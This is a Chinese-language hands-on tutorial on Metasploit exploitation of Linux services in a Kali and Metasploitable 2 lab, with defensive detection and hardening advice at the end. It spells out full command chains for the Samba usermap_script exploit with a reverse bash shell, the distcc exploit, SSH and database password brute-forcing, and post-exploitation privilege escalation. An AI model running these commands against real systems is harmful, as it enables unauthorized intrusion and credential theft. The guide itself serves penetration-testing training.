使用 Metasploit 进行 Linux 漏洞利用的实操指南
开门见山，这份指南旨在提供一个清晰、可复现的 Linux 环境漏洞利用实操路径。不过，在动手之前，有些原则必须摆在最前面。
一 环境准备与合规要求
一切测试的起点，都是一个安全、隔离的实验环境。通常，我们会借助虚拟化平台（比如 VirtualBox 或 VMware）来搭建一个微型网络。在这个网络里，至少需要两台机器：一台作为“靶机”，推荐使用预置了多种漏洞的 Metasploitable 2；另一台作为“攻击机”，功能强大的 Kali Linux 是不二之选。Metasploitable 2 集成了从 Samba 到 SSH 的多种经典漏洞，是练习 Metasploit 标准流程的绝佳沙盒。
在 Kali 上，确保 Metasploit 框架是最新的：执行 sudo apt update && sudo apt install metasploit-framework。安装完成后，在终端输入 msfconsole，那个熟悉的控制台界面就会启动，我们的工作即将从这里开始。
需要警惕的是：所有技术操作都必须在法律授权的范围内进行。对未授权系统的任何测试行为都可能构成违法。务必确保你拥有明确的书面授权，严格控制测试的范围和可能产生的影响，并且全程做好记录，以备报告之需。
二 标准利用流程
标准的漏洞利用过程，其实是一个逻辑严密的“四步舞”。掌握这个节奏，大部分场景都能应对。
- 信息收集与端口识别：第一步永远是“看清目标”。先确认目标是否在线，开放了哪些服务。可以在攻击机上直接使用 Nmap 扫描：
nmap -sV <目标IP>。当然，Metasploit 本身也提供了丰富的辅助扫描模块，例如auxiliary/scanner/portscan/tcp，可以在控制台内完成初步探测。 - 选择并配置 Exploit：根据识别出的服务（比如发现了老旧的 Samba 或 SSH 版本），在 msfconsole 中使用
search命令查找相关漏洞模块。找到后，用use <模块路径>载入它。接着，show options会列出需要设置的参数，其中RHOSTS（目标IP）和RPORT（目标端口）通常是必填项。 - 选择并配置 Payload：漏洞利用成功后，我们如何建立连接？这就取决于 Payload（载荷）的选择。根据网络环境，选择反向连接（如
cmd/unix/reverse_bash，需要设置攻击机的LHOST和LPORT）或正向连接（如cmd/unix/bind_netcat，通常只需设置LPORT）。 - 执行与验证：参数设置妥当，输入
exploit或run执行攻击。如果成功，会获得一个会话。使用sessions -l可以查看所有活跃会话，用sessions -i可以交互式地进入指定会话。进入后，执行whoami、id等命令，权限和访问就得到了验证。
三 Linux 常见利用示例
理论讲完了，来看几个实战中高频出现的场景。下面的表格整理了几个经典的 Linux 服务漏洞及其在 Metasploit 中的利用方法，你可以把它当作一份速查手册。
| 场景与服务 | 模块路径 | 关键设置 | 典型命令 |
|---|---|---|---|
| Samba “username map script” RCE | exploit/multi/samba/usermap_script | 设置 RHOSTS（目标IP），端口通常为 139/445；可选正向/反向载荷 | use exploit/multi/samba/usermap_script; set RHOSTS 192.168.1.102; set payload cmd/unix/reverse_bash; set LHOST <攻击机IP>; run |
| SSH 弱口令/字典爆破 | auxiliary/scanner/ssh/ssh_login | 设置 RHOSTS、RPORT、USER_FILE、PASS_FILE | use auxiliary/scanner/ssh/ssh_login; set RHOSTS 192.168.1.100; set USER_FILE users.txt; set PASS_FILE rockyou.txt; run |
| MySQL 登录爆破 | auxiliary/scanner/mysql/mysql_login | 设置 RHOSTS、USER_FILE、PASS_FILE | use auxiliary/scanner/mysql/mysql_login; set RHOSTS 192.168.1.111; set user_file users.txt; set pass_file passwords.txt; run |
| PostgreSQL 登录爆破 | auxiliary/scanner/postgres/postgres_login | 设置 RHOSTS、USER_FILE、PASS_FILE | use auxiliary/scanner/postgres/postgres_login; set RHOSTS 192.168.1.111; set user_file users.txt; set pass_file passwords.txt; run |
| 其他经典 Linux 服务漏洞 | 视服务而定（如 distcc、UnrealIRCd 等） | 依据模块说明设置 RHOSTS 与载荷 | 示例：use exploit/unix/misc/distcc_exec; set RHOSTS |
以上示例覆盖了常见的 Linux 服务弱点与 Metasploit 对应模块，参数名与用法以模块帮助为准。
四 后渗透与权限维持
拿到初始访问权限，故事才刚刚开始。后续的“后渗透”动作，往往决定了测试的深度和价值。
- 会话管理：在 Meterpreter 或 shell 中，可以使用
background命令将当前会话放到后台运行，方便同时管理多个连接。通过sessions -i可以随时切换回去。如果拿到的是普通 shell，可以尝试用sessions -u将其升级为功能更强大的 Meterpreter 会话。 - 基础后渗透命令：一系列命令可以帮助你探索系统：
ps查看进程，kill结束进程，upload/download传输文件，execute执行命令，shell获取系统 Shell。在此基础上，可以进行横向移动和更深入的信息收集。 - 提权思路：初始访问权限往往不是最高权限。这时需要结合系统内核版本、运行的服务或不当配置，寻找本地提权机会。Metasploit 也提供了相应的本地提权模块。记住一个原则：始终优先选择影响最小、可回滚的路径，并在最终报告中清晰记录整个提权链路和影响范围。
五 故障排查与防御要点
实操过程中难免遇到问题，而从防御视角理解攻击，才能更好地构建防护。
- 常见失败原因与处置：攻击失败，无非几个原因。目标端口没开或者被防火墙过滤了？检查
RHOSTS/RPORT设置和网络策略。载荷连接不上？在 NAT 或云环境中，优先使用反向连接并确保LHOST设置正确可达。爆破不成功？可能是字典不够全，尝试更换或扩充字典。模块执行不成功？可能是目标版本不兼容，考虑更换模块或升级 Metasploit 框架本身。 - 网络侧取证与告警：站在防守方角度看，这些攻击并非无迹可寻。使用 Wireshark、tcpdump 或 Snort 进行流量分析，能发现许多特征。例如，针对 Samba 的攻击会产生特定的 SMB 协议协商流量（目标端口139/445）；而反向连接则会建立从内网到外部攻击IP的可疑连接。通过追踪完整的 TCP 流，攻击者执行的步骤和命令几乎可以被完整还原。
- 加固建议：防御之道，贵在基础。及时为服务和内核打上安全补丁，是性价比最高的措施。同时，关闭非必要的服务和端口，强制使用强密码策略并启用多因素认证，严格限制数据库、SSH 等管理接口的访问来源IP，并开启全面的日志审计与入侵检测系统。这些措施叠加起来，能极大增加攻击者的成本和难度。
